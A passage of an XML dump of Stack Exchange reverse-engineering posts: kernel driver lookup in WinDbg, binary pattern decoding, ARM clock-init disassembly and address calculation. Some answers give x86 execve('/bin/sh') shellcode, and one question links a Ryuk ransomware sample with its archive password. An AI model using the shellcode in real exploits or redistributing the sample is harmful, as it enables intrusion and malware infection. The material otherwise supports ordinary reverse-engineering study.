ENABLE_BIDIR_PROCHOT_EN                 (1 &amp;lt;&amp;lt; 0)&#xA;#define ENABLE_BIDIR_PROCHOT_EN_SHIFT           0&#xA;#define POWER_CTL_MASK                          (PCH_NEG_DISABLE + LTR_SW_DISABLE + PWR_PERF_TUNING_CFG_MODE + \&#xA;    PWR_PERF_TUNING_ENABLE_DYN_SWITCHING + PWR_PERF_TUNING_DISABLE_EEP_CTRL + \&#xA;    PWR_PERF_TUNING_DISABLE_SAPM_CTRL + DIS_PROCHOT_OUT + ENABLE_BIDIR_PROCHOT_EN + C1E_ENABLE)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is not like a full datasheet but still better than nothing...&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="18132" LastEditDate="2023-03-07T15:58:23.730" LastActivityDate="2023-03-07T15:58:23.730" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22245" PostTypeId="1" AcceptedAnswerId="22247" CreationDate="2019-10-04T21:34:51.593" Score="1" ViewCount="704" Body="&lt;p&gt;I am looking into getting the address of a dispatch routine. For example, I can get it with windbg easily like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; !drvobj HEVD 2&#xA;Driver object (ffffa70752fdbe30) is for:&#xA; \Driver\HEVD&#xA;&#xA;DriverEntry:   fffff8066262a134 HEVD&#xA;DriverStartIo: 00000000 &#xA;DriverUnload:  fffff80662625000 HEVD&#xA;AddDevice:     00000000 &#xA;&#xA;Dispatch routines:&#xA;[00] IRP_MJ_CREATE                      fffff80662625058    HEVD+0x85058&#xA;--snipped--&#xA;[0e] IRP_MJ_DEVICE_CONTROL              fffff80662625078    HEVD+0x85078&#xA;--snipped--&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The IRP_MJ_DEVICE_CONTROL is the routine I am interested in getting and I am not having any luck finding a way to do so. Any knudges or help is much appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I would like to get by either Python or CPP&lt;/p&gt;&#xA;" OwnerUserId="29798" LastEditorUserId="29798" LastEditDate="2019-10-05T00:56:04.803" LastActivityDate="2019-10-07T19:21:44.383" Title="Possible to get address of DRIVER OBJECT programmatically?" Tags="|windows|c++|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22246" PostTypeId="2" ParentId="22215" CreationDate="2019-10-04T22:13:34.117" Score="2" Body="&lt;p&gt;This isn't a complete answer but is a bit more than fits in a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's definitely a pattern in the powers of 2.  They all have exactly 4 bits set.  The high bit is always 1 and the lower 15 bits seem to be the same bit pattern (11001) but rotated to different positions. Try filling in the gaps (32, 64, 128, 1024) and show in binary &lt;em&gt;without&lt;/em&gt; spaces to make it clearer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   8    1010000000000110&#xA;  16    1100000000001100&#xA;  32    ?&#xA;  64    ?&#xA; 128    ?&#xA; 256    1100100000000001&#xA; 512    1001000000000011&#xA;1024    ?&#xA;2048    1100000000001100&#xA;4096    1000000000011001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The duplicates 16 &amp;amp; 2048 you observed suggest that you are missing a relevant byte or bytes.  I'll also conjecture that 1024 is the same as 8.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: The extra information that there is a minimum increment of 0.01 combined with what happens when doubling values strongly indicates that these are not floating point numbers but are in fact fixed point with a scaling factor of 100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you convert the number of coins to a decimal, multiply by 100 and convert to binary you get -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   8    8.00    800 00000000001100100000&#xA;  16   16.00   1600 00000000011001000000&#xA;  32   32.00   3200 00000000110010000000&#xA;  64   64.00   6400 00000001100100000000&#xA; 128  128.00  12800 00000011001000000000&#xA; 256  256.00  25600 00000110010000000000&#xA;  ..&#xA;4096 4096.00 409600 01100100000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I was hoping, we see the 11001 pattern again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me this confirms that we are on the right lines but that there &lt;strong&gt;must&lt;/strong&gt; be information carried in bytes other than the two you identified since 16 bits isn't enough to cover the range and resolution of possible values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help find these, I'd now suggest trying the following pairs of values -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;20971.51 and 20971.52&#xA;10485.75 and 10485.76&#xA; 5242.87 and  5242.88&#xA; 2621.43 and  2621.44&#xA; 1310.71 and  1310.72&#xA;  655.35 and   655.36&#xA;  327.67 and   327.68&#xA;  163.83 and   163.84&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When reporting the differences it would be useful to have the neighbouring couple of bytes each side too, even if they don't change.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="4731" LastEditDate="2019-10-30T10:03:07.793" LastActivityDate="2019-10-30T10:03:07.793" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22247" PostTypeId="2" ParentId="22245" CreationDate="2019-10-05T00:54:33.657" Score="1" Body="&lt;p&gt;As Commented Windbg Just Reads A Structure and Formats it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can simply use the #FIELD_OFFSET macro (wdm.h)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; ?? #FIELD_OFFSET( ntkrpamp!_DRIVER_OBJECT , MajorFunction[0])&#xA;long 0n56&#xA;&#xA;kd&amp;gt; ?? #FIELD_OFFSET( ntkrpamp!_DRIVER_OBJECT , MajorFunction[0xe])  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;0xe == IRP_MJ_DEVICE_CONTROL&#xA;long 0n112&#xA;&#xA;kd&amp;gt; dd 0x85ded260+0n112 l1&#xA;85ded2d0  8df7d116&#xA;&#xA;kd&amp;gt; u 8df7d116&#xA;Beep!BeepDeviceControl:&#xA;8df7d116 8bff            mov     edi,edi&#xA;8df7d118 55              push    ebp&#xA;8df7d119 8bec            mov     ebp,esp&#xA;8df7d11b 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]&#xA;8df7d11e 8b4160          mov     eax,dword ptr [ecx+60h]&#xA;8df7d121 8b500c          mov     edx,dword ptr [eax+0Ch]&#xA;8df7d124 81ea00000100    sub     edx,10000h&#xA;8df7d12a 56              push    esi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Windbg gets all the driverObjects / or any object for that matter from the RootObjectDirectory   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;use ReadDebuggerData() Method in IDebugDataSpaces Interface to get&lt;br&gt;&#xA;&lt;strong&gt;nt!obpRootDirectoryObject&lt;/strong&gt;&lt;br&gt;&#xA;then cast the Address properly to their types and dereference the members of Structure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a small javascript that gets the First Level Driver names is as below&lt;br&gt;&#xA;Please note this is a hack using hardcoded 36th HashBucket For Driver DirectoryObject&lt;br&gt;&#xA;this can bomb anytime one needs to get The TypeIndex and Compare With _OBJECT_TYPE&#xA;for robustness&lt;br&gt;&#xA;also note TypeIndex in latest  windows releases undergo a xorring routine and Do not point directly to the UnderLying TypeNames   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is Xorred with nt!ObHeaderCookie and another Byte From Object Header Address   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;an emulated demo for the disassembly of that routine below &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; r $t0 = 0xffffe00e255187a0&#xA;0: kd&amp;gt; r $t1 = @$t0-30&#xA;0: kd&amp;gt; r $t2 = @$t0-18&#xA;0: kd&amp;gt; r $t3 = by(@$t0-18)&#xA;0: kd&amp;gt; r $t4 = @$t1&amp;gt;&amp;gt;8 &amp;amp;0xff&#xA;0: kd&amp;gt; r $t5 = @$t4 ^ @$t3 ^ by(nt!ObHeaderCookie)&#xA;0: kd&amp;gt; ? @$t0;? @$t1;? @$t2;? @$t3;?@$t4;? @$t5&#xA;&#xA;Evaluate expression: -35123616446560 = ffffe00e`255187a0&#xA;Evaluate expression: -35123616446608 = ffffe00e`25518770&#xA;Evaluate expression: -35123616446584 = ffffe00e`25518788&#xA;Evaluate expression: 246 = 00000000`000000f6&#xA;Evaluate expression: 135 = 00000000`00000087&#xA;Evaluate expression: 3 = 00000000`00000003&#xA;&#xA;0: kd&amp;gt; dt nt!_OBJECT_TYPE poi(nt!ObTypeIndexTable + 3 *8) &#xA;&#xA;   +0x000 TypeList         : _LIST_ENTRY [ 0xffff920c`896b9900 - 0xffff920c`896b9900 ]&#xA;   +0x010 Name             : _UNICODE_STRING &quot;Directory&quot;  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;xxxxxxxxxxxxxxxxxxxxxxxx&#xA;&#xA;&#xA;0: kd&amp;gt; uf nt!ObGetObjectType&#xA;nt!ObGetObjectType:&#xA;fffff805`1abcbff0 488d41d0        lea     rax,[rcx-30h]&#xA;fffff805`1abcbff4 0fb649e8        movzx   ecx,byte ptr [rcx-18h]&#xA;fffff805`1abcbff8 48c1e808        shr     rax,8&#xA;fffff805`1abcbffc 0fb6c0          movzx   eax,al&#xA;fffff805`1abcbfff 4833c1          xor     rax,rcx&#xA;fffff805`1abcc002 0fb60dcf75f8ff  movzx   ecx,byte ptr [nt!ObHeaderCookie (fffff805`1ab535d8)]&#xA;fffff805`1abcc009 4833c1          xor     rax,rcx&#xA;fffff805`1abcc00c 488d0d4d7cf8ff  lea     rcx,[nt!ObTypeIndexTable (fffff805`1ab53c60)]&#xA;fffff805`1abcc013 488b04c1        mov     rax,qword ptr [rcx+rax*8]&#xA;fffff805`1abcc017 c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source Code For Javascript&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/// &amp;lt;reference path=&quot;JSProvider.d.ts&quot; /&amp;gt;&#xA;&#xA;function log(x) {&#xA;    host.diagnostics.debugLog(x + &quot;\n&quot;)&#xA;}&#xA;&#xA;function getobroot() {&#xA;    var obroot = host.getModuleSymbol(&quot;ntkrnlmp&quot;, &quot;ObpRootDirectoryObject&quot;, &quot;_OBJECT_DIRECTORY *&quot;);&#xA;    var ObHeadFields = host.getModuleType(&quot;nt&quot;, &quot;_OBJECT_HEADER&quot;).fields&#xA;    var drvdirheadaddr = obroot.HashBuckets[36].ChainLink.Object.address&#xA;    var drvdirobj = host.createPointerObject(drvdirheadaddr, &quot;nt&quot;, &quot;_OBJECT_DIRECTORY *&quot;)&#xA;    //looping only Hasbuckets &#xA;    for (i = 0; i &amp;lt; 37; i++) {&#xA;        var drvobj1 = drvdirobj.HashBuckets[i].Object.address&#xA;        //loop all the 37 HashBucket's Objects and Chainlinks-&amp;gt;Objects for drivers x,y,z,...&#xA;        var drvobj = host.createPointerObject(drvobj1, &quot;nt&quot;, &quot;_DRIVER_OBJECT *&quot;)&#xA;        try {&#xA;            var dname = host.memory.readWideString(drvobj.DriverName.Buffer.address)&#xA;        } catch (error) {&#xA;            log(error)&#xA;        }&#xA;        log(dname)&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-10-07T19:21:44.383" LastActivityDate="2019-10-07T19:21:44.383" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22248" PostTypeId="2" ParentId="5878" CreationDate="2019-10-05T06:38:42.520" Score="3" Body="&lt;p&gt;From a &lt;a href=&quot;https://www.quora.com/How-do-silicon-IP-licensing-companies-like-ARM-and-Imagination-protect-their-IP&quot; rel=&quot;nofollow noreferrer&quot;&gt;now deleted Quora comment&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://smartimtech.com/chipinsight.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Smart Imaging Technologies&lt;/a&gt; (&lt;a href=&quot;https://web.archive.org/web/20190309115358/https://smartimtech.com/chipinsight.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;archive&lt;/a&gt;) can reverse to the gate level and output VHDL, but I don't know at which cost&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;3D x-ray tomography is a new technique in vogue, and might dispense scraping layers off the chip. Googling it leads to a few papers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://iacr.org/archive/ches2009/57470361/57470361.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://iacr.org/archive/ches2009/57470361/57470361.pdf&lt;/a&gt; | &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dforte.ece.ufl.edu/Domenic_files/ISTFA_2015_PCB%20RE-final.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dforte.ece.ufl.edu/Domenic_files/ISTFA_2015_PCB%20RE-final.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=WOZqoTuAGKY&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=WOZqoTuAGKY&lt;/a&gt; &quot;Catching a single Transistor - We're looking inside the i9-9900K: Prep and expensive equipment 1/3&quot; is a 2019 series of videos showing concretely how it could be done, worth watching to feel the difficulty of the process first hand&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Non-Intel superset: &lt;a href=&quot;https://electronics.stackexchange.com/questions/13472/is-it-possible-to-reverse-engineer-a-chip-design&quot;&gt;https://electronics.stackexchange.com/questions/13472/is-it-possible-to-reverse-engineer-a-chip-design&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12321" LastActivityDate="2019-10-05T06:38:42.520" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22249" PostTypeId="2" ParentId="16553" CreationDate="2019-10-05T09:07:26.123" Score="1" Body="&lt;p&gt;Different ways answer from &lt;strong&gt;sudhackar&lt;/strong&gt;, you can just add &lt;code&gt;push edx&lt;/code&gt; to zeroing &lt;code&gt;edx&lt;/code&gt; in your shellcode&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor eax, eax&#xA;push eax&#xA;push 0x68732f2f&#xA;push 0x6e69622f&#xA;mov ebx, esp&#xA;push eax&#xA;push ebx&#xA;push edx&#xA;mov ecx, esp&#xA;mov al, 0xb&#xA;int 0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29775" LastActivityDate="2019-10-05T09:07:26.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22250" PostTypeId="2" ParentId="20851" CreationDate="2019-10-05T09:15:50.297" Score="1" Body="&lt;pre&gt;&lt;code&gt;div eax&#xA;int 0x80&#xA;jmp short 0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's different ways &lt;code&gt;exit()&lt;/code&gt; syscall &lt;/p&gt;&#xA;" OwnerUserId="29775" LastActivityDate="2019-10-05T09:15:50.297" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22251" PostTypeId="2" ParentId="20868" CreationDate="2019-10-05T12:12:28.197" Score="1" Body="&lt;p&gt;It's because &lt;code&gt;/bin/sh&lt;/code&gt; needs &lt;code&gt;\0&lt;/code&gt;, so replace it &lt;code&gt;&quot;AAAABBBB&quot;&lt;/code&gt; with &lt;code&gt;\0&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14199" LastActivityDate="2019-10-05T12:12:28.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22252" PostTypeId="2" ParentId="21352" CreationDate="2019-10-05T12:39:04.397" Score="1" Body="&lt;p&gt;I think just replace &lt;code&gt;mov eax, 0xfffffff4&lt;/code&gt; and &lt;code&gt;not eax&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14199" LastActivityDate="2019-10-05T12:39:04.397" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22253" PostTypeId="1" AcceptedAnswerId="22259" CreationDate="2019-10-05T16:00:03.290" Score="0" ViewCount="104" Body="&lt;p&gt;How do I calculate the location of the string in this sample located at offset &lt;code&gt;0x1CAD8&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instruction at &lt;code&gt;0x140001A97&lt;/code&gt; in the sample is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x140001A97   F2 0F1005 39C60100   movsd xmm0, qword [rip + str..exe]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The opcode has &lt;code&gt;0x39C60100&lt;/code&gt; which is &lt;code&gt;0x1C639&lt;/code&gt;. If I add that to &lt;code&gt;rip&lt;/code&gt;, I don't land on the address of the string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x140001A97 -&amp;gt; offset = 0xE97&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xE97 + 0x8 + 0x1C639 = 0x1D4D8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The string's offset is &lt;code&gt;0x1CAD8&lt;/code&gt; not &lt;code&gt;0x1D4D8&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sample is Ryuk:&#xA;&lt;code&gt;18faf22d7b96bfdb5fd806d4fe6fd9124b665b571d89cb53975bc3e23dd75ff1&lt;/code&gt;&#xA;If you need a copy of the sample, a base64 encoded passworded zip archive with the sample is located here:&#xA;&lt;a href=&quot;https://pastebin.com/aKskMXY7&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/aKskMXY7&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The password for that zip file is &lt;code&gt;reseinfected&lt;/code&gt;. If you need something to decode base64 quickly, use this cyberchef recipe:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;From_Base64('A-Za-z0-9+/=',true)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11997" LastActivityDate="2019-10-06T21:23:14.750" Title="How to Calculate ds Pointer" Tags="|disassembly|assembly|malware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22255" PostTypeId="2" ParentId="17835" CreationDate="2019-10-06T03:57:20.633" Score="4" Body="&lt;p&gt;Frida's java byte array element representation is signed number currently. Therefore, your byte array may contain negative number. We should edit accepted answer to reflect this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var buffer = Java.array('byte', ret);&#xA;var result = &quot;&quot;;&#xA;for(var i = 0; i &amp;lt; buffer.length; ++i){&#xA;    result += (String.fromCharCode(buffer[i] &amp;amp; 0xff)); // here!!&#xA;}&#xA;console.log(result);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Related &lt;a href=&quot;https://stackoverflow.com/a/9609447/9304999&quot;&gt;https://stackoverflow.com/a/9609447/9304999&lt;/a&gt; and &lt;a href=&quot;https://github.com/frida/frida/issues/289&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/frida/frida/issues/289&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29592" LastEditorUserId="29592" LastEditDate="2019-10-06T04:03:10.023" LastActivityDate="2019-10-06T04:03:10.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22256" PostTypeId="2" ParentId="22253" CreationDate="2019-10-06T04:40:40.903" Score="1" Body="&lt;p&gt;I think you are confusing yourself somehow and mixing up file offsets with virtual offsets  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;lets try a simple example  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;open a random exe in windbg&lt;br&gt;&#xA;patch the bytes in the current instruction Pointer&lt;br&gt;&#xA;disassemble&lt;br&gt;&#xA;subtract and look &lt;/p&gt;&#xA;&#xA;&lt;p&gt;explanation for commands below&lt;br&gt;&#xA;cdb is console equivalent for windbg&lt;br&gt;&#xA;-c is the command line to be passed to the debugger&lt;br&gt;&#xA;eb . is enter bytes at the current instruction pointer (. (dot denotes current ip))&lt;br&gt;&#xA;it is followed by bytes from your post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then I disassemble one single instruction at current ip using u . l1&lt;br&gt;&#xA;I query what the current ip isby ? $ip&lt;br&gt;&#xA;and quit &lt;/p&gt;&#xA;&#xA;&lt;p&gt;take the results and do the subtraction with python    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;cdb -c &quot;eb . F2 0F 10 05 39 C6 01 00;u . l1;? $ip;q&quot; cdb | f:\git\usr\bin\awk &quot;/Reading/,/quit/&quot;&#xA;0:000&amp;gt; cdb: Reading initial command 'eb . F2 0F 10 05 39 C6 01 00;u . l1;? $ip;q'&#xA;ntdll!LdrpDoDebuggerBreak+0x30:&#xA;00007ffc`69ad2dbc f20f100539c60100 movsd   xmm0,mmword ptr [xxx (00007ffc`69aef3fd)]&#xA;Evaluate expression: 140722081443260 = 00007ffc`69ad2dbc&#xA;quit:&#xA;&#xA;C:\&amp;gt;python -c &quot;print (hex(0x7ffc69aef3fd-(0x7ffc69ad2dbc+8)))&quot;&#xA;0x1c639&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;rereading your posts it appears you have indeed mixed up raw offsets with virtual offsets&lt;br&gt;&#xA;use 0x1a97 instead of 0xe97 (0xc00 bytes accounted for)&lt;br&gt;&#xA;locate in which section your string is in&lt;br&gt;&#xA;and add the difference between section Va and Section Pointer to RawData&lt;br&gt;&#xA;I believe it would account for the remaining 0xa00 bytes    &lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-10-06T05:32:39.450" LastActivityDate="2019-10-06T05:32:39.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22258" PostTypeId="1" CreationDate="2019-10-06T18:44:27.617" Score="0" ViewCount="179" Body="&lt;p&gt;I'm using IDA PRO 5.0 Free to analyze firmware from a camcorder (mn103 processor). I'm a complete newbie in reverse engineering so it's hard for me to learn how it works only using assembly code. I found out, there are a lot of original function names left in the dump:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7WfBE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7WfBE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get C code with original function names from this? I don't have Hex Rays decompiler tho.&lt;/p&gt;&#xA;" OwnerUserId="29818" LastActivityDate="2020-03-08T15:02:00.433" Title="Found a lot of function names in firmware dump. Is it possible to recreate original code?" Tags="|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22259" PostTypeId="2" ParentId="22253" CreationDate="2019-10-06T21:23:14.750" Score="0" Body="&lt;p&gt;&lt;code&gt;(14001E0D8-140001A97)-8 = 1C639, VA 14001E0D8 is offset 0001CAD8&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the answer. Thanks to an individual on one of the lists I'm on.&lt;/p&gt;&#xA;" OwnerUserId="11997" LastActivityDate="2019-10-06T21:23:14.750" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22261" PostTypeId="1" CreationDate="2019-10-07T01:27:54.437" Score="1" ViewCount="84" Body="&lt;p&gt;While reverse engineering very early hardware initialization code of an old S3C6410 based tablet, I came across an instruction that changes a bit that the &lt;a href=&quot;https://drive.google.com/open?id=13a0jY0dIhcT_xe0DU6iBVr6_-pszlwp9&quot; rel=&quot;nofollow noreferrer&quot;&gt;user manual&lt;/a&gt; (relevant info on pg. 3-50) states should not be changed. This is stage bl1 code that executes out of the 4 kilobyte &quot;steppingstone&quot; SRAM area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the following code can't be directly assembled, it's just the output of Ida pro copied into a text editor, so that I can manipulate it more easily.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0C000914 init_clocks                     &#xA;0C000914 LDR     R0, dword_C000A80       ;r0 &amp;lt;- 0x7E00F000&#xA;0C000918 LDR     R1, [R0,#0x900]         ;r1 &amp;lt;- [0x7E00F900], OTHERS register of system controller&#xA;0C00091C MOV     R2, #0x40               ;r2 &amp;lt;- 0x40&#xA;0C000920 ORR     R1, R1, R2              ;set bit 6 of r1 &#xA;0C000924 STR     R1, [R0,#0x900]         ;APLL selected as SYS CLOCK&#xA;0C000928 NOP                             ;nop block, probably necessary to wait after changing SYS CLOCK&#xA;0C00092C NOP                             ;No Operation&#xA;0C000930 NOP                             ;No Operation&#xA;0C000934 NOP                             ;No Operation&#xA;0C000938 NOP                             ;No Operation&#xA;0C00093C MOV     R2, #0x80               ;r2 &amp;lt;- 0x80&#xA;0C000940 ORR     R1, R1, R2              ;set bit 7 of r1&#xA;0C000944 STR     R1, [R0,#0x900]         ;SYNCMODE bit set to synchronous mode&#xA;0C000948 syncack_delay                     &#xA;0C000948 LDR     R1, [R0,#0x900]         ;r1 &amp;lt;- contents of OTHERS register&#xA;0C00094C MOV     R2, #0xF00              ;r2 &amp;lt;- 0xf00, SYNCACK mask&#xA;0C000950 AND     R1, R1, R2              ;clear all but SYNCACK bits 11:8&#xA;0C000954 CMP     R1, #0xF00              ;are all SYNCACK bits set&#xA;0C000958 BNE     syncack_delay           ;if not, loop back&#xA;0C00095C MOV     R1, #0xFF00             ;r1 &amp;lt;- 0xff00&#xA;0C000960 ORR     R1, R1, #0xFF           ;r1 &amp;lt;- 0xffff&#xA;0C000964 STR     R1, [R0]                ;[0x7E00F000] &amp;lt;- r1, APLL_LOCK register&#xA;                                         ;pll_locktime of APLL_LOCK: 0xffff&#xA;&#xA;0C000968 STR     R1, [R0,#4]             ;pll_locktime of MPLL_LOCK: 0xffff&#xA;0C00096C STR     R1, [R0,#8]             ;pll_locktime of EPLL_LOCK: 0xffff&#xA;0C000970 LDR     R1, [R0,#0x28]          ;r1 &amp;lt;- [0x7e00f028], CLK_DIV2 register&#xA;0C000974 BIC     R1, R1, #0x70000        ;clear bits 18:16&#xA;0C000978 ORR     R1, R1, #0x30000        ;set bits 17:16&#xA;0C00097C STR     R1, [R0,#0x28]          ;uart clock divider ratio: 3&#xA;0C000980 LDR     R1, [R0,#0x20]          ;r1 &amp;lt;- [0x7e00f020], CLK_DIV0 register&#xA;0C000984 BIC     R1, R1, #0x30000        ;clear bits 17:16&#xA;0C000988 BIC     R1, R1, #0xFF00         ;clear bits 15:8&#xA;0C00098C BIC     R1, R1, #0xFF           ;clear bits 7:0&#xA;0C000990 LDR     R2, dword_C000A84       ;r2 &amp;lt;- 0x3310&#xA;0C000994 ORR     R1, R1, R2              ;set bits 13:12, 8:9, and 4&#xA;0C000998 STR     R1, [R0,#0x20]          ;PCLK ratio: 3, HCLKX2 ratio: 1, HCLK ratio: 1, MPLL ratio: 1, ARM ratio: 0&#xA;0C00099C LDR     R1, dword_C000A88       ;r1 &amp;lt;- 0x810A0301&#xA;0C0009A0 STR     R1, [R0,#0xC]           ;[0x7e00f00c] &amp;lt;- r1, APLL_CON register &#xA;                                         ;APLL S divide: 1, APLL P divide: 3, APLL M divide: 266, 0x10a, APLL control enabled&#xA;&#xA;0C0009A4 LDR     R1, dword_C000A88       ;r1 &amp;lt;- 0x810A0301&#xA;0C0009A8 STR     R1, [R0,#0x10]          ;[0x7e00f010] &amp;lt;- r1, MPLL_CON register &#xA;                                         ;MPLL S divide: 1, MPLL P divide: 3, MPLL M divide: 266, 0x10a, MPLL control enabled&#xA;&#xA;0C0009AC LDR     R1, dword_C000A8C       ;r1 &amp;lt;- 0x80200203&#xA;0C0009B0 STR     R1, [R0,#0x14]          ;[0x7e00f014] &amp;lt;- r1, EPLL_CON0 register&#xA;                                         ;EPLL S divide: 3, EPLL P divide: 1, EPLL M divide: 32, 0x20, EPLL control enabled&#xA;&#xA;0C0009B4 MOV     R1, #0                  ;r1 &amp;lt;- 0&#xA;0C0009B8 STR     R1, [R0,#0x18]          ;[0x7e00f018] &amp;lt;- r1, EPLL_CON1 register, EPLL K divide: 0 &#xA;0C0009BC LDR     R1, [R0,#0x1C]          ;r1 &amp;lt;- [0x7e00f018], CLK_SRC register&#xA;0C0009C0 LDR     R2, dword_C000A90       ;r2 &amp;lt;- 0x2007&#xA;0C0009C4 ORR     R1, R1, R2              ;set bits 13, 2:0&#xA;0C0009C8 STR     R1, [R0,#0x1C]          ;uart clock source is MPLL, EPLL_SEL: 1, MPLL_SEL: 1, APLL_SEL: 1&#xA;0C0009CC MOV     R1, #0x10000            ;r1 &amp;lt;- 65536, loop counter&#xA;0C0009D0 dec_64k                     &#xA;0C0009D0 SUBS    R1, R1, #1              